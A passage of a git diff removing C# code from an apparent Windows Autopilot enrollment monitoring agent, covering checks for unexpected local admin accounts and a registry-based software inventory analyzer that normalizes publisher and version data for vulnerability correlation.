effectiveAllowed }, - { "dynamically_allowed_users", dynamicAllowedUsers ?? new List() }, - { "checks", new Dictionary - { - { "bypass_nro", new Dictionary - { - { "value", bypassNroResult.Value }, - { "flagged", bypassNroResult.Value == 1 } - } - }, - { "unexpected_accounts", accountsResult.Unexpected }, - { "unexpected_profiles", profilesResult.Unexpected }, - { "accounts_checked", accountsResult.AllChecked }, - { "profiles_found", profilesResult.AllFound } - } - } - }; - - var message = confidenceScore == 0 - ? $"{Name}: No unexpected local admins detected" - : $"{Name}: Unexpected admin activity detected (confidence={confidenceScore})"; - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "local_admin_analysis", - Severity = severity, - Source = Name, - Phase = phase, - Message = message, - Data = data - }); - } - catch (Exception ex) - { - _logger.Error($"{Name}: Analysis failed unexpectedly", ex); - } - } - - // ----------------------------------------------------------------------- - // Individual checks - // ----------------------------------------------------------------------- - - private BypassNroCheckResult CheckBypassNroRegistry() - { - try - { - const string keyPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE"; - const string valueName = "BypassNRO"; - - using (var key = Registry.LocalMachine.OpenSubKey(keyPath, writable: false)) - { - if (key == null) - { - _logger.Debug($"{Name}: BypassNRO registry key not found"); - return new BypassNroCheckResult { Value = 0, KeyExists = false }; - } - - var raw = key.GetValue(valueName); - if (raw == null) - { - _logger.Debug($"{Name}: BypassNRO value not present"); - return new BypassNroCheckResult { Value = 0, KeyExists = true }; - } - - var intValue = Convert.ToInt32(raw); - _logger.Debug($"{Name}: BypassNRO = {intValue}"); - return new BypassNroCheckResult { Value = intValue, KeyExists = true }; - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to read BypassNRO registry: {ex.Message}"); - return new BypassNroCheckResult { Value = 0, KeyExists = false }; - } - } - - private LocalAccountCheckResult CheckLocalAdminAccounts(List allowedAccounts) - { - var allChecked = new List(); - var unexpected = new List(); - - try - { - using (var searcher = new ManagementObjectSearcher( - "SELECT Name, Disabled FROM Win32_UserAccount WHERE LocalAccount = True")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var name = obj["Name"]?.ToString() ?? string.Empty; - var disabled = obj["Disabled"] != null && Convert.ToBoolean(obj["Disabled"]); - - if (string.IsNullOrEmpty(name)) - continue; - - allChecked.Add(name); - - // Skip disabled accounts — they cannot be used to log in - if (disabled) - continue; - - if (!allowedAccounts.Any(a => - string.Equals(a, name, StringComparison.OrdinalIgnoreCase))) - { - unexpected.Add(name); - _logger.Debug($"{Name}: Unexpected local account: {name}"); - } - } - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to enumerate local accounts via WMI: {ex.Message}"); - } - - return new LocalAccountCheckResult { AllChecked = allChecked, Unexpected = unexpected }; - } - - private UserProfileCheckResult CheckUserProfiles(List allowedAccounts) - { - var allFound = new List(); - var unexpected = new List(); - - try - { - const string usersRoot = @"C:\Users"; - - if (!Directory.Exists(usersRoot)) - { - _logger.Debug($"{Name}: C:\\Users does not exist"); - return new UserProfileCheckResult { AllFound = allFound, Unexpected = unexpected }; - } - - var dirs = Directory.GetDirectories(usersRoot, "*", SearchOption.TopDirectoryOnly); - foreach (var dir in dirs) - { - var folderName = Path.GetFileName(dir); - if (string.IsNullOrEmpty(folderName)) - continue; - - allFound.Add(folderName); - - if (!allowedAccounts.Any(a => - string.Equals(a, folderName, StringComparison.OrdinalIgnoreCase))) - { - unexpected.Add(folderName); - _logger.Debug($"{Name}: Unexpected profile folder: {folderName}"); - } - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to enumerate user profiles: {ex.Message}"); - } - - return new UserProfileCheckResult { AllFound = allFound, Unexpected = unexpected }; - } - - /// - /// Detects currently logged-in user(s) by finding explorer.exe processes owned by - /// real (non-system) users. Returns the plain username part (without domain prefix). - /// Uses the same approach as DesktopArrivalDetector. - /// - private List GetLoggedInUserNames() - { - var users = new List(); - - try - { - var explorerProcesses = System.Diagnostics.Process.GetProcessesByName("explorer"); - foreach (var proc in explorerProcesses) - { - try - { - // Session 0 = SYSTEM session, skip - if (proc.SessionId == 0) - continue; - - string owner = GetExplorerOwner(proc.Id); - if (string.IsNullOrEmpty(owner)) - continue; - - // Extract username part (after backslash if DOMAIN\User format) - var userName = owner; - var bsIdx = owner.LastIndexOf('\\'); - if (bsIdx >= 0 && bsIdx < owner.Length - 1) - userName = owner.Substring(bsIdx + 1); - - // Skip system/service accounts - if (IsSystemAccount(userName)) - continue; - - if (!users.Any(u => string.Equals(u, userName, StringComparison.OrdinalIgnoreCase))) - { - users.Add(userName); - _logger.Debug($"{Name}: Detected logged-in user: {userName}"); - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: Error checking explorer.exe PID {proc.Id}: {ex.Message}"); - } - finally - { - proc.Dispose(); - } - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to detect logged-in users: {ex.Message}"); - } - - return users; - } - - /// - /// Gets the owner of a process via WMI Win32_Process.GetOwner. - /// Returns "DOMAIN\User" or "User", or null on failure. - /// - private string GetExplorerOwner(int processId) - { - try - { - using (var searcher = new ManagementObjectSearcher( - $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var outParams = new object[2]; - var result = (uint)obj.InvokeMethod("GetOwner", outParams); - if (result == 0) - { - var user = outParams[0]?.ToString(); - var domain = outParams[1]?.ToString(); - return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}"; - } - } - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: WMI GetOwner failed for PID {processId}: {ex.Message}"); - } - - return null; - } - - /// - /// Returns true for system/service accounts that are not real enrolled users. - /// - private static bool IsSystemAccount(string userName) - { - if (string.IsNullOrEmpty(userName)) - return true; - - var systemNames = new[] { "SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE" }; - foreach (var sn in systemNames) - { - if (string.Equals(userName, sn, StringComparison.OrdinalIgnoreCase)) - return true; - } - - // DefaultUser* pattern (OOBE system accounts) - if (userName.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase)) - return true; - - return false; - } - - // ----------------------------------------------------------------------- - // Private result types - // ----------------------------------------------------------------------- - - private class BypassNroCheckResult - { - public int Value { get; set; } - public bool KeyExists { get; set; } - } - - private class LocalAccountCheckResult - { - public List AllChecked { get; set; } = new List(); - public List Unexpected { get; set; } = new List(); - } - - private class UserProfileCheckResult - { - public List AllFound { get; set; } = new List(); - public List Unexpected { get; set; } = new List(); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/SoftwareInventoryAnalyzer.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/SoftwareInventoryAnalyzer.cs deleted file mode 100644 index 15365b52..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Telemetry/Analyzers/SoftwareInventoryAnalyzer.cs +++ /dev/null @@ -1,936 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text.RegularExpressions; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers -{ - /// - /// Collects installed software inventory from the Windows registry, normalizes - /// vendor/product/version strings, and emits structured events for vulnerability correlation. - /// - /// Lifecycle: - /// AnalyzeAtStartup() — baseline inventory snapshot (before enrollment installs) - /// AnalyzeAtShutdown() — final inventory + delta (what was installed during enrollment) - /// - /// The actual CVE/KEV correlation happens server-side after the events are ingested. - /// - public class SoftwareInventoryAnalyzer : IAgentAnalyzer - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _emitEvent; - private readonly AgentLogger _logger; - - // Captured at startup for delta detection at shutdown - private List _startupInventory; - - public string Name => "SoftwareInventoryAnalyzer"; - - // Maximum items per event chunk to stay within Table Storage property size limits (~64 KB) - private const int ChunkSize = 75; - - // ----------------------------------------------------------------------- - // Registry paths for installed software - // ----------------------------------------------------------------------- - - private static readonly string[] UninstallRegistryPaths = new[] - { - @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall", - @"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" - }; - - private const string UninstallRegistryPathHkcu = - @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"; - - private const string ProfileListPath = - @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"; - - private const string AppxAllUserStorePath = - @"SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications"; - - // ----------------------------------------------------------------------- - // Publisher normalization map - // ----------------------------------------------------------------------- - - private static readonly Dictionary PublisherMap = new Dictionary(StringComparer.OrdinalIgnoreCase) - { - { "microsoft corporation", "microsoft" }, - { "microsoft", "microsoft" }, - { "google llc", "google" }, - { "google inc", "google" }, - { "google inc.", "google" }, - { "adobe inc.", "adobe" }, - { "adobe systems incorporated", "adobe" }, - { "adobe systems, incorporated", "adobe" }, - { "mozilla corporation", "mozilla" }, - { "mozilla", "mozilla" }, - { "oracle corporation", "oracle" }, - { "oracle", "oracle" }, - { "apple inc.", "apple" }, - { "apple inc", "apple" }, - { "dell inc.", "dell" }, - { "dell inc", "dell" }, - { "dell technologies", "dell" }, - { "hewlett-packard", "hp" }, - { "hewlett packard enterprise", "hp" }, - { "hp inc.", "hp" }, - { "hp inc", "hp" }, - { "lenovo", "lenovo" }, - { "lenovo group limited", "lenovo" }, - { "cisco systems, inc.", "cisco" }, - { "cisco systems", "cisco" }, - { "vmware, inc.", "vmware" }, - { "vmware", "vmware" }, - { "citrix systems, inc.", "citrix" }, - { "citrix", "citrix" }, - { "zoom video communications, inc.", "zoom" }, - { "slack technologies, inc.", "slack" }, - { "slack technologies, llc", "slack" }, - { "7-zip", "7-zip" }, - { "igor pavlov", "7-zip" }, - { "the 7-zip developers", "7-zip" }, - { "notepad++ team", "notepad++" }, - { "don ho", "notepad++" }, - { "putty", "putty" }, - { "simon tatham", "putty" }, - { "winscp", "winscp" }, - { "martin prikryl", "winscp" }, - { "teamviewer", "teamviewer" }, - { "teamviewer germany gmbh", "teamviewer" }, - { "fortinet technologies (canada) inc.", "fortinet" }, - { "fortinet inc", "fortinet" }, - { "palo alto networks", "paloaltonetworks" }, - { "crowdstrike, inc.", "crowdstrike" }, - { "crowdstrike inc.", "crowdstrike" }, - { "git", "git" }, - { "the git development community", "git" }, - { "python software foundation", "python" }, - { "node.js", "nodejs" }, - { "node.js foundation", "nodejs" }, - { "openjs foundation", "nodejs" }, - - // Endpoint security & AV - { "sophos", "sophos" }, - { "sophos limited", "sophos" }, - { "eset, spol. s r.o.", "eset" }, - { "eset", "eset" }, - { "malwarebytes", "malwarebytes" }, - { "kaspersky", "kaspersky" }, - { "kaspersky lab", "kaspersky" }, - { "trend micro", "trendmicro" }, - { "trend micro inc.", "trendmicro" }, - { "mcafee, inc.", "mcafee" }, - { "mcafee, llc", "mcafee" }, - { "symantec corporation", "symantec" }, - { "broadcom inc.", "broadcom" }, - { "carbon black, inc.", "carbonblack" }, - { "sentinelone", "sentinelone" }, - - // VPN & network security - { "zscaler, inc.", "zscaler" }, - { "zscaler", "zscaler" }, - { "netskope", "netskope" }, - { "netskope, inc.", "netskope" }, - { "pulse secure, llc", "pulsesecure" }, - { "juniper networks", "juniper" }, - { "openvpn inc.", "openvpn" }, - { "openvpn technologies", "openvpn" }, - { "wireguard", "wireguard" }, - - // Device management & enterprise - { "glueckkanja ag", "glueckkanja" }, - { "glueckkanja-gab ag", "glueckkanja" }, - { "beyond trust", "beyondtrust" }, - { "beyondtrust software", "beyondtrust" }, - { "beyondtrust corporation", "beyondtrust" }, - { "ivanti", "ivanti" }, - { "ivanti, inc.", "ivanti" }, - { "1e", "1e" }, - { "tanium", "tanium" }, - { "tanium inc.", "tanium" }, - { "bigfix", "bigfix" }, - { "hcl technologies limited", "hcl" }, - { "sap se", "sap" }, - { "sap", "sap" }, - { "servicenow", "servicenow" }, - - // Communication & collaboration - { "webex communications", "webex" }, - { "discord inc.", "discord" }, - { "signal messenger, llc", "signal" }, - { "signal", "signal" }, - - // Multimedia & documents - { "videolan", "videolan" }, - { "videolan team", "videolan" }, - { "the document foundation", "libreoffice" }, - { "foxit software inc.", "foxit" }, - { "foxit", "foxit" }, - { "tracker software products", "pdfxchange" }, - { "audacity team", "audacity" }, - { "gimp", "gimp" }, - { "the gimp team", "gimp" }, - { "irfanview", "irfanview" }, - { "irfan skiljan", "irfanview" }, - - // Remote access - { "anydesk software gmbh", "anydesk" }, - { "anydesk", "anydesk" }, - { "rustdesk", "rustdesk" }, - { "realvnc", "realvnc" }, - { "realvnc ltd", "realvnc" }, - { "devolutions", "devolutions" }, - { "devolutions inc.", "devolutions" }, - { "splashtop", "splashtop" }, - { "splashtop inc.", "splashtop" }, - { "bomgar", "bomgar" }, - - // Development tools - { "jetbrains s.r.o.", "jetbrains" }, - { "jetbrains", "jetbrains" }, - { "postman, inc.", "postman" }, - { "postman", "postman" }, - { "docker inc.", "docker" }, - { "docker", "docker" }, - { "github, inc.", "github" }, - { "github", "github" }, - { "atlassian", "atlassian" }, - { "atlassian pty ltd", "atlassian" }, - { "hashicorp", "hashicorp" }, - { "hashicorp, inc.", "hashicorp" }, - { "sublime hq pty ltd", "sublimetext" }, - - // Utilities - { "filezilla project", "filezilla" }, - { "tim kosse", "filezilla" }, - { "keepass", "keepass" }, - { "dominik reichl", "keepass" }, - { "greenshot", "greenshot" }, - { "paint.net", "paintnet" }, - { "dotpdn llc", "paintnet" }, - { "win32diskimager", "win32diskimager" }, - { "angusj", "7-zip" }, - { "rarlab", "winrar" }, - { "alexander roshal", "winrar" }, - { "winrar", "winrar" }, - { "wireshark foundation", "wireshark" }, - { "the wireshark team", "wireshark" }, - { "nmap project", "nmap" }, - { "insecure.com", "nmap" }, - { "voidtools", "everything" }, - - // Hardware vendors - { "intel corporation", "intel" }, - { "intel", "intel" }, - { "nvidia corporation", "nvidia" }, - { "nvidia", "nvidia" }, - { "amd", "amd" }, - { "advanced micro devices, inc.", "amd" }, - { "realtek semiconductor", "realtek" }, - { "realtek", "realtek" }, - { "logitech", "logitech" }, - { "logitech inc.", "logitech" }, - - // Database & data tools - { "dbeaver corp", "dbeaver" }, - { "mysql ab", "mysql" }, - { "mariadb", "mariadb" }, - { "the postgresql global development group", "postgresql" }, - { "pgadmin development team", "pgadmin" }, - - // Backup & imaging - { "veeam software", "veeam" }, - { "veeam", "veeam" }, - { "acronis", "acronis" }, - { "acronis international gmbh", "acronis" }, - { "macrium software", "macrium" }, - { "corel corporation", "corel" }, - }; - - // ----------------------------------------------------------------------- - // Publisher suffix stripping - // ----------------------------------------------------------------------- - - private static readonly string[] PublisherSuffixes = new[] - { - ", inc.", " inc.", " inc", ", llc", " llc", ", ltd", " ltd", " ltd.", - " corporation", " corp.", " corp", " gmbh", " ag", " se", - " co.", " co", " group", " limited" - }; - - // ----------------------------------------------------------------------- - // Exclude patterns for filtering noise - // ----------------------------------------------------------------------- - - private static readonly Regex KbUpdatePattern = new Regex(@"^KB\d{6,}", RegexOptions.IgnoreCase | RegexOptions.Compiled); - - private static readonly string[] ExcludeContains = new[] - { - "Language Pack", - "MUI Pack", - "Spell Checking", - "Proofing Tools", - "Microsoft .NET Host", - "Microsoft .NET Runtime", - "Microsoft .NET AppHost", - "Microsoft ASP.NET", - "Microsoft Windows Desktop Runtime", - "Additional Runtime", - "Minimum Runtime", - "Microsoft Update Health Tools", - "Update for Windows", - "Security Update for", - "Hotfix for", - }; - - private static readonly string[] ExcludeStartsWith = new[] - { - "vs_", // Visual Studio installer bootstrapper components - "MSVC", // MSVC redistributable sub-components (the parent is kept) - }; - - // ----------------------------------------------------------------------- - // AppX package filtering — strict whitelist for all publishers - // Sandboxed AppX/MSIX apps rarely have CVEs and the sandbox limits - // blast radius, so we only surface packages with known security or - // enterprise relevance to keep the report clean. - // ----------------------------------------------------------------------- - - private static readonly HashSet AppxWhitelist = new HashSet(StringComparer.OrdinalIgnoreCase) - { - // Intune / device management - "Microsoft.CompanyPortal", - "Microsoft.ManagementApp", - - // Communication & productivity (CVE-relevant, enterprise-deployed) - "Microsoft.Teams", - "MSTeams", - "MicrosoftTeams", - "Microsoft.Office.Desktop", - "Microsoft.OutlookForWindows", - - // Remote access (security surface) - "MicrosoftCorporationII.WindowsApp", - "MicrosoftCorporationII.WindowsSubsystemForLinux", - - // Developer tools (CVE-relevant) - "Microsoft.WindowsTerminal", - "Microsoft.VisualStudioCode", - - // Power Platform (enterprise) - "Microsoft.PowerAutomateDesktop", - }; - - // Pattern: {Publisher.PackageName}_{Version}_{Arch}__{PublisherHash} - private static readonly Regex AppxPackagePattern = new Regex( - @"^(.+?)_(\d+(?:\.\d+)*)_([^_]*)__([a-z0-9]+)$", - RegexOptions.IgnoreCase | RegexOptions.Compiled); - - // ----------------------------------------------------------------------- - // Regex patterns for normalization - // ----------------------------------------------------------------------- - - private static readonly Regex ArchitecturePattern = new Regex( - @"\s*[\(\-]\s*(?:x64|x86|64-bit|32-bit|amd64|arm64)\s*[\)]?", - RegexOptions.IgnoreCase | RegexOptions.Compiled); - - private static readonly Regex TrailingVersionPattern = new Regex( - @"\s+v?\d+(?:\.\d+)*\s*$", - RegexOptions.IgnoreCase | RegexOptions.Compiled); - - private static readonly Regex VersionExtractPattern = new Regex( - @"(\d+(?:\.\d+){0,3})", - RegexOptions.Compiled); - - public SoftwareInventoryAnalyzer( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _emitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - public void AnalyzeAtStartup() - { - _logger.Info($"{Name}: Running startup analysis (baseline inventory)"); - try - { - _startupInventory = CollectAndNormalize(); - EmitInventoryEvents("startup", EnrollmentPhase.Unknown, _startupInventory, null); - } - catch (Exception ex) - { - _logger.Error($"{Name}: Startup analysis failed", ex); - } - } - - public void AnalyzeAtShutdown() - { - AnalyzeAtShutdown(whiteGlovePart: null); - } - - /// - /// Shutdown analysis with optional WhiteGlove part tag. - /// Phase is always Unknown — analyzer events are NOT phase-declaration events. - /// Only explicit phase-transition events (esp_phase_changed, agent_started) may carry - /// a non-Unknown phase. Context is conveyed via DataJson (triggered_at, whiteglove_part). - /// - public void AnalyzeAtShutdown(int? whiteGlovePart) - { - _logger.Info($"{Name}: Running shutdown analysis (delta detection, whiteGlovePart={whiteGlovePart?.ToString() ?? "none"})"); - try - { - var currentInventory = CollectAndNormalize(); - var newInstalls = ComputeDelta(_startupInventory ?? new List(), currentInventory); - EmitInventoryEvents("shutdown", EnrollmentPhase.Unknown, currentInventory, newInstalls, whiteGlovePart); - } - catch (Exception ex) - { - _logger.Error($"{Name}: Shutdown analysis failed", ex); - } - } - - // ----------------------------------------------------------------------- - // Collection - // ----------------------------------------------------------------------- - - private List CollectAndNormalize() - { - var entries = new List(); - - // HKLM 64-bit and WOW6432Node (32-bit) - foreach (var path in UninstallRegistryPaths) - { - var source = path.Contains("WOW6432Node") ? "HKLM_32" : "HKLM_64"; - CollectFromKey(Registry.LocalMachine, path, source, entries); - } - - // HKCU (may be empty during OOBE when running as SYSTEM) - try - { - CollectFromKey(Registry.CurrentUser, UninstallRegistryPathHkcu, "HKCU", entries); - } - catch (Exception ex) - { - _logger.Debug($"{Name}: HKCU read skipped (expected during OOBE): {ex.Message}"); - } - - // HKU per-user Uninstall keys — catches per-user installs (VS Code user, Teams Classic, Spotify, etc.) - CollectFromAllUserProfiles(entries); - - // AppX/MSIX packages — catches modern packaged apps (Company Portal, new Teams, etc.) - CollectAppxPackages(entries); - - // Normalize all entries - foreach (var entry in entries) - { - NormalizeEntry(entry); - } - - _logger.Info($"{Name}: Collected {entries.Count} software entries"); - return entries; - } - - private void CollectFromKey(RegistryKey rootKey, string subKeyPath, string source, List results) - { - // rootKey.Name yields the canonical hive name (HKEY_LOCAL_MACHINE / HKEY_USERS / …), - // so the log line is a real registry path. `source` is a separate telemetry tag - // (e.g. HKLM_64, HKU_) used as RegistrySource on the SoftwareEntry. - try - { - using (var key = rootKey.OpenSubKey(subKeyPath, writable: false)) - { - if (key == null) - { - _logger.Debug($"{Name}: Registry key not found: {rootKey.Name}\\{subKeyPath} (source={source})"); - return; - } - - var subKeyNames = key.GetSubKeyNames(); - foreach (var subKeyName in subKeyNames) - { - try - { - using (var subKey = key.OpenSubKey(subKeyName, writable: false)) - { - if (subKey == null) - continue; - - var displayName = subKey.GetValue("DisplayName")?.ToString(); - var systemComponent = subKey.GetValue("SystemComponent"); - var parentKeyName = subKey.GetValue("ParentKeyName")?.ToString(); - - if (ShouldExclude(displayName, systemComponent, parentKeyName)) - continue; - - results.Add(new SoftwareEntry - { - DisplayName = displayName, - DisplayVersion = subKey.GetValue("DisplayVersion")?.ToString(), - Publisher = subKey.GetValue("Publisher")?.ToString(), - InstallDate = subKey.GetValue("InstallDate")?.ToString(), - InstallLocation = subKey.GetValue("InstallLocation")?.ToString(), - UninstallString = subKey.GetValue("UninstallString")?.ToString(), - IsWindowsInstaller = Convert.ToInt32(subKey.GetValue("WindowsInstaller") ?? 0) == 1, - RegistrySource = source - }); - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: Error reading subkey {subKeyName}: {ex.Message}"); - } - } - } - } - catch (Exception ex) - { - _logger.Warning($"{Name}: Failed to read {rootKey.Name}\\{subKeyPath} (source={source}): {ex.Message}"); - } - } - - // ----------------------------------------------------------------------- - // HKU per-user profile enumeration - // ----------------------------------------------------------------------- - - private void CollectFromAllUserProfiles(List results) - { - try - { - using (var profileList = Registry.LocalMachine.OpenSubKey(ProfileListPath, writable: false)) - { - if (profileList == null) - { - _logger.Debug($"{Name}: ProfileList key not found"); - return; - } - - // Track SIDs we already read via HKCU to avoid duplicates - var currentUserSid = GetCurrentUserSid(); - - foreach (var sid in profileList.GetSubKeyNames()) - { - // Real user profiles only: - // S-1-5-21-* classic local/AD user accounts - // S-1-12-1-* Microsoft Account / Azure AD cloud SIDs (Win10 1903+ AAD-joined devices) - // Skip well-known service SIDs (S-1-5-18/19/20) and everything else. - if (!sid.StartsWith("S-1-5-21-", StringComparison.OrdinalIgnoreCase) && - !sid.StartsWith("S-1-12-1-", StringComparison.OrdinalIgnoreCase)) - continue; - - // Skip current user SID — already covered by HKCU read above - if (string.Equals(sid, currentUserSid, StringComparison.OrdinalIgnoreCase)) - continue; - - try - { - // HKU\ is only available if the user's hive is loaded - var hkuPath = $@"{sid}\{UninstallRegistryPathHkcu}"; - CollectFromKey(Registry.Users, hkuPath, $"HKU_{sid.Substring(sid.LastIndexOf('-') + 1)}", results); - } - catch (Exception ex) - { - _logger.Debug($"{Name}: HKU read skipped for {sid}: {ex.Message}"); - } - } - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: Per-user profile enumeration failed: {ex.Message}"); - } - } - - private static string GetCurrentUserSid() - { - try - { - using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent()) - { - return identity.User?.Value; - } - } - catch - { - return null; - } - } - - // ----------------------------------------------------------------------- - // AppX/MSIX package enumeration - // ----------------------------------------------------------------------- - - private void CollectAppxPackages(List results) - { - try - { - using (var appxKey = Registry.LocalMachine.OpenSubKey(AppxAllUserStorePath, writable: false)) - { - if (appxKey == null) - { - _logger.Debug($"{Name}: AppX AllUserStore key not found"); - return; - } - - int appxCount = 0; - - foreach (var subKeyName in appxKey.GetSubKeyNames()) - { - try - { - if (ShouldExcludeAppx(subKeyName)) - continue; - - var parsed = ParseAppxPackageName(subKeyName); - if (parsed == null) - continue; - - results.Add(parsed); - appxCount++; - } - catch (Exception ex) - { - _logger.Debug($"{Name}: Error parsing AppX entry {subKeyName}: {ex.Message}"); - } - } - - _logger.Info($"{Name}: Collected {appxCount} AppX packages"); - } - } - catch (Exception ex) - { - _logger.Debug($"{Name}: AppX enumeration failed: {ex.Message}"); - } - } - - private static bool ShouldExcludeAppx(string packageFullName) - { - // Extract the package identity (everything before the first underscore) - var underscoreIndex = packageFullName.IndexOf('_'); - var packageId = underscoreIndex > 0 - ? packageFullName.Substring(0, underscoreIndex) - : packageFullName; - - // Strict whitelist — only explicitly listed packages pass through - return !AppxWhitelist.Contains(packageId); - } - - private static SoftwareEntry ParseAppxPackageName(string packageFullName) - { - // Format: {Publisher.PackageName}_{Version}_{Arch}__{PublisherHash} - // Example: Microsoft.CompanyPortal_5.0.6155.0_x64__8wekyb3d8bbwe - var match = AppxPackagePattern.Match(packageFullName); - if (!match.Success) - return null; - - var packageId = match.Groups[1].Value; // e.g. "Microsoft.CompanyPortal" - var version = match.Groups[2].Value; // e.g. "5.0.6155.0" - - // Split publisher from product: "Microsoft.CompanyPortal" → ("Microsoft", "CompanyPortal") - var dotIndex = packageId.IndexOf('.'); - string publisher; - string productName; - if (dotIndex > 0) - { - publisher = packageId.Substring(0, dotIndex); - productName = packageId.Substring(dotIndex + 1); - } - else - { - publisher = packageId; - productName = packageId; - } - - // Make display name human-readable: "CompanyPortal" → "Company Portal" - var displayName = SpacePascalCase(productName); - - return new SoftwareEntry - { - DisplayName = displayName, - DisplayVersion = version, - Publisher = publisher, - RegistrySource = "AppX", - IsWindowsInstaller = false - }; - } - - private static string SpacePascalCase(string input) - { - if (string.IsNullOrEmpty(input)) - return input; - - // Insert space before uppercase letters that follow lowercase letters - // "CompanyPortal" → "Company Portal", but "MSTeams" → "MS Teams" - var result = new System.Text.StringBuilder(input.Length + 4); - result.Append(input[0]); - for (int i = 1; i < input.Length; i++) - { - if (char.IsUpper(input[i]) && char.IsLower(input[i - 1])) - result.Append(' '); - result.Append(input[i]); - } - return result.ToString(); - } - - // ----------------------------------------------------------------------- - // Filtering - // ----------------------------------------------------------------------- - - private static bool ShouldExclude(string displayName, object systemComponent, string parentKeyName) - { - // No display name = not a user-visible application - if (string.IsNullOrWhiteSpace(displayName)) - return true; - - // System component flag - if (systemComponent != null) - { - try - { - if (Convert.ToInt32(systemComponent) == 1) - return true; - } - catch { /* non-integer value, ignore */ } - } - - // Child component / update (has a parent) - if (!string.IsNullOrEmpty(parentKeyName)) - return true; - - // KB updates (Windows Updates) - if (KbUpdatePattern.IsMatch(displayName)) - return true; - - // Known noise patterns (contains) - foreach (var pattern in ExcludeContains) - { - if (displayName.IndexOf(pattern, StringComparison.OrdinalIgnoreCase) >= 0) - return true; - } - - // Known noise patterns (starts with) - foreach (var pattern in ExcludeStartsWith) - { - if (displayName.StartsWith(pattern, StringComparison.OrdinalIgnoreCase)) - return true; - } - - return false; - } - - // ----------------------------------------------------------------------- - // Normalization - // ----------------------------------------------------------------------- - - private void NormalizeEntry(SoftwareEntry entry) - { - entry.NormalizedPublisher = NormalizePublisher(entry.Publisher); - entry.NormalizedName = NormalizeName(entry.DisplayName); - entry.NormalizedVersion = NormalizeVersion(entry.DisplayVersion); - AssessConfidence(entry); - } - - private static string NormalizePublisher(string publisher) - { - if (string.IsNullOrWhiteSpace(publisher)) - return string.Empty; - - var trimmed = publisher.Trim(); - - // Check known publisher map - if (PublisherMap.TryGetValue(trimmed, out var mapped)) - return mapped; - - // Fallback: lowercase + strip common suffixes - var lower = trimmed.ToLowerInvariant(); - foreach (var suffix in PublisherSuffixes) - { - if (lower.EndsWith(suffix, StringComparison.OrdinalIgnoreCase)) - { - lower = lower.Substring(0, lower.Length - suffix.Length).TrimEnd(); - break; // strip only one suffix - } - } - - return lower; - } - - private static string NormalizeName(string displayName) - { - if (string.IsNullOrWhiteSpace(displayName)) - return string.Empty; - - var name = displayName.Trim().ToLowerInvariant(); - - // Strip architecture markers: (x64), (x86), (64-bit), - x64, etc. - name = ArchitecturePattern.Replace(name, ""); - - // Strip trailing version-like suffix: "chrome 134.0.6998.89" → "chrome" - name = TrailingVersionPattern.Replace(name, ""); - - return name.Trim(); - } - - private static string NormalizeVersion(string displayVersion) - { - if (string.IsNullOrWhiteSpace(displayVersion)) - return string.Empty; - - var match = VersionExtractPattern.Match(displayVersion.Trim()); - return match.Success ? match.Groups[1].Value : displayVersion.Trim(); - } - - private void AssessConfidence(SoftwareEntry entry) - { - bool publisherKnown = !string.IsNullOrEmpty(entry.Publisher) && - PublisherMap.ContainsKey(entry.Publisher.Trim()); - bool versionClean = !string.IsNullOrEmpty(entry.DisplayVersion) && - VersionExtractPattern.IsMatch(entry.DisplayVersion); - - if (publisherKnown && versionClean) - entry.NormalizationConfidence = "high"; - else if (publisherKnown || versionClean) - entry.NormalizationConfidence = "medium"; - else - entry.NormalizationConfidence = "low"; - } - - // ----------------------------------------------------------------------- - // Delta computation - // ----------------------------------------------------------------------- - - private static List ComputeDelta(List baseline, List current) - { - var baselineKeys = new HashSet( - baseline.Select(e => MakeKey(e)), - StringComparer.OrdinalIgnoreCase); - - return current.Where(e => !baselineKeys.Contains(MakeKey(e))).ToList(); - } - - private static string MakeKey(SoftwareEntry e) - { - return $"{e.RegistrySource}|{e.DisplayName}|{e.DisplayVersion ?? ""}"; - } - - // ----------------------------------------------------------------------- - // Event emission (with chunking for large inventories) - // ----------------------------------------------------------------------- - - private void EmitInventoryEvents( - string trigger, - EnrollmentPhase phase, - List inventory, - List newInstalls, - int? whiteGlovePart = null) - { - int totalChunks = Math.Max(1, (int)Math.Ceiling(inventory.Count / (double)ChunkSize)); - - var highCount = inventory.Count(e => e.NormalizationConfidence == "high"); - var medCount = inventory.Count(e => e.NormalizationConfidence == "medium"); - var lowCount = inventory.Count(e => 